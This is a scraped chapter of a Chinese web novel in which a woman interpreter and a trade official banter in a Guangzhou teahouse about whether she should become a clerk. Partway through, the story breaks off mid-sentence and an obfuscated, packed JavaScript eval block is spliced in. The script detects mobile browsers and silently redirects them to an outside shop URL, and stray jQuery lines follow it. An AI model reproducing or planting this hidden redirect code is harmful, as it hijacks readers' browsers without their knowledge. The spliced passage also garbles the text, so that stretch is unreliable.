212. 吏目
作品:《大周第一女译令》 伙计送来小茶炉,烧了滚水洗过茶壶茶盏后,霍啸雨挑了茶叶,伙计煮上了茶,退出雅间。
茶香弥漫,清泉过来布菜,霍啸雨挥了挥手:“你且去那边吃喝,我们要人帮手会唤你来。”
清泉退回屏风那边,霍啸雨给李灵钥沏了盏茶:“这茶也是广府特有,香极了,小心烫。”
李灵钥吹着茶,霍啸雨:“青曜,市舶司如今已有了章法可循,还有那许多人理事,你不必那样辛苦。往后,我带着你将广府周遭都玩个遍。哎,广府茶楼多,饭铺也多,咱们一家家去品尝。我也是品尝了许多家才知晓,各家都有独有的点心菜式,便是同样的菜式,各家做出来也差异甚大,也都十分美味……”
他神情一如往日便轻松,李灵钥却听出了他言下之意:不要再将市舶司的杂事担在肩头。
霍啸雨轻拂着茶沫:“市舶司是你相助才建成。但你又不是正经吏目,现下也有人手相助,不必那样辛苦……”
霍啸雨当日请李灵钥到市舶司相助,是因她精通大食与波斯语,还能听说广府方言。
李灵钥则是因父亲处处为难,每一步都走得极是艰险,这才来担当通译。
寻常女子不能出仕,她的作为早超越了寻常女子,再往后市舶司的种种都不与她相关了。
虽说她早便想过:该收手时就收手。但付出了这许多心力后,真要放手,她有说不出的难过与失落。
但她心中所想,对着父母兄长,一丝一毫都不敢露出来。
这时霍啸雨的话却将李灵钥心中的失落都勾了出来。
她在家中已努力压抑心绪,不让父母知晓。
这时被霍啸雨说穿,她便没能压抑住,心中翻腾得厉害。
霍啸雨:“我知晓你不开心,你不必掩饰。”
李灵钥咬着嘴唇看向他,霍啸雨正色说道:“你开心的时候,眼睛会笑,还会有狡黠的光芒,整个人都极是灵动。你现下心中不快,眼睛都失去了神采。我知道你是因要自市舶司抽身了,心中难过遗憾。市舶司是个苦差,来到此间不仅要与异国客商往来,还要让广府各宗族都能相助。先前的市舶司官员都没有好结果,可见这个差使没那么好办。”
“异国客商个个狡猾,广府各姓宗族亦不是省油的灯,市舶司要同时与他们周旋,必定会力有不逮。但你熟知大食波斯两国的言语,又知晓他们的所思所想,几乎是一手便将异国客商都按住了,市舶司便省力了许多。”
停了一停,他又接上:“你让市舶司择选异国客商首领,是对异国客商的管辖,却也将异国客商与广府宗族的连结打断了,必定会招致他们的怨恨,早该抽身了。”
李灵钥知晓他说的是,但心中依旧不快。
霍啸雨接着说道:“当吏目也是吃力不讨好!你会大食与波斯国语,便是做吏目也与寻常的吏目不同,可也太辛苦了。一早便要到市舶司,而后对着那许多刁钻古怪的客商,帮他们通译,还要与他们争吵,多费力呀!忙得团团转还不落好……”
李灵钥想了想,微笑着说道:“署提举说的是,吃力不讨好,太辛苦了!”
霍啸雨瞪着她,李灵钥一本正经地道:“署提举都为我想了这许多,可却没想过,万一我就是想做这吏目呢?我为市舶司做了这许多事,我当个吏目并不为过。”
李灵钥并不想做吏目,身为女儿,她踏不进官场,这时说这话,只是想将心中的不快倾倒出来。
霍啸雨虽猜到了她不快的缘故,却不曾想到她会说出这话来,张口结舌了片刻,看着她:“你,你果真想当吏目?”
他的神情是不可置信,而李灵钥居然自其中看出了一丝遗憾!
片刻后李灵钥点头:“是呀,我通两国言语,都不必考科举!我二哥考童试前可辛苦了,头悬梁锥刺股,真要能当吏目,还得过了乡试,路漫漫其修远兮,还得上下求索。可按署提举所言,我不仅不必考童试,连乡试也一并省了,可以径直做名通译。让我那努力进学的二哥气得去家中的墙壁上施展铁头功!”
没等霍啸雨出声,她又接上:“我家现今住的屋舍的墙倒也还坚固,大约撞不倒!让他撞罢!”
看着霍啸雨神情变得莫测,还看到他有一丝失落,李灵钥心中的难过少了些许。
她尝了个点心,四下里张望了一阵,又转回头来看霍啸雨。
霍啸雨给她换了盏热茶,神情中的失落还未消散,“你果真想做这个吏目?”
李灵钥本是倾倒心中的不快,没想到霍啸雨却当真了。
霍啸雨叹了口气:“你为市舶司做了这许多事,又没领薪俸,想做个吏目也不是难事。你做吏目必定比别人强!至少,现下市舶司的通译们都远不如你。你真想成为通译,我便帮你。这又不是难事,你也不必管别人的言语,那是别人的事。你只管你开心就好。”
李灵钥看着他,在心中猜测他说这话的缘故。
以霍啸雨的情形,帮李青曜成为吏目的确不是难事。
只是他对官场无心,便也以为她不将吏目这份前程放在心上,也无钻营之心,不以俗事萦怀的仙人,因此觉得与她合拍,才总是带着她吃喝玩乐。
忽然听到李灵钥对前程上了心,还有了为前程钻营之意,她在他心中立时就自空中落入泥淖,由仙人成为凡人,让他失望了!
李灵钥明白了他的想法,看到他极力掩盖他的闷闷不乐,心中的不快淡去不少。
她并没想去做通译,只是想将心中的不快倾倒出来,这时说出来了,便好了许多。
眼看着下方乐床换了位乐师,正在调教弦索,李灵钥忽然问:“署提举可知这位乐师唱何种曲子?”
霍啸雨淡淡说道:“我打哪儿去知晓?我又听不懂!”
他一脸不快,李灵钥禁不住看着他一笑:“署提举莫不是为了我要当吏目而为难?可我记得当日署提举说要办这事极是轻易。”
霍啸雨轻嗤一声:“你想当吏目的确不是难事,虽说你当日说了不想当吏目,现下要当也不难。你也为市舶司做过那许多事,是该有,”
他忽然停住,看着李灵钥。
李灵钥自他开口便已
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111778|177752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忍不住,将笑容藏了又藏,终没能将微微挑起的唇角压住。
霍啸雨盯着她看了片刻,恍然大悟:“小青曜,你才不想当吏目,你就是说来气我的?对吧?你从来不在意这些,绝不会这时谋划前程,你就是故意的!”
李灵钥咬着嘴唇忍笑:“我就没想过要当吏目,但我想署提举要让我当这个吏目,我也就勉为其难去试一试吧!好歹也要给署提举个面子不是?”
霍啸雨盯着她,又是好气又是好笑,倒转筷头在她手上一敲:“我才不希望你那样辛苦。你这样有趣的小儿郎,就不该去将那枷锁套在身上,该天天开心玩耍才对!我就想你跟着我四处玩耍。青祥那样稳重,我可绝想不到他会有你这么个调皮的小弟?跟个小皮猴子似的,一时一个主意,真假难辨,稍不留神就被你绕进去了!你是小魔王现世吗?不过,我很喜欢!”
他这一下敲得略重,李灵钥吃痛,收回手来。
霍啸雨看着她手背上一道红痕,登是急了:“我下手重了?我没用力呀!是我的错!”
他要来拉她的手看那道红痕,李灵钥收回手来白了他一眼:“你没用力?但我的手被敲红了!我要留着这道伤,以后好敲你的竹竿。”
霍啸雨:“往后再不敲你的手了。你不许拿白眼看我。你想敲我的竹竿?敲呀!随你敲!你一敲我就会掉出你喜欢的物件!”
话音未落,李灵钥又对他翻了个白眼。
霍啸雨拿她没法,只能自牙关里挤出句话来:“我都对你这样了,你还拿白眼看我,真是只小白眼狼。”
广府的许多茶客都是在茶楼一坐就大半日,茶喝淡了便换过新茶,有的茶客连午饭都在茶楼用,用过饭后再慢慢喝两盏茶,方才晃悠悠返回家中。
但这些茶客并非都是在此间闲坐,有的是老友相会,有的则是小声谈生意……因此茶楼中的茶水点心价都不低。
广府的茶客常有各自心水的坐处,数十年坐处都不变,连同他们的口味,掌柜与伙计都会记在心中。
算计着他们来到,会先将坐处留下,来了后不必吩咐就送上他们喜爱的茶水点心。
也有茶客挑剔,会带着自家的茶叶来到,伙计同样会接过茶客的茶叶为他们沏好热茶,一丝不变。
茶楼为了让茶馆舒心,也会请来的茶客们喜欢乐师与歌伎来演他们的拿手绝活。
这日茶楼也请了乐师与歌伎来,乐师与歌伎来到后,喝过一盏茶,乐师便调教了弦索奏出曲调,歌伎则展开喉咙吟唱。
李灵钥这时有了闲心,这才认真来听来。
霍啸雨皱着眉听了一阵,小声说道:“曲调很是亮丽明快,可我依旧听不懂歌伎的唱词。”
李灵钥:“广府的歌伎唱的是此间的曲调,我也不是听得很懂。”
霍啸雨看着她:“你也听不懂?”
李灵钥摇头:“我不爱听戏。让我看戏本子还好,能细看其中的词藻,但听他们咿咿哑哑,一句话用五六句话的功夫唱出来,我没那耐性。我性急,听戏不是牙酸便是火滚。我更喜欢看异国舞蹈。”

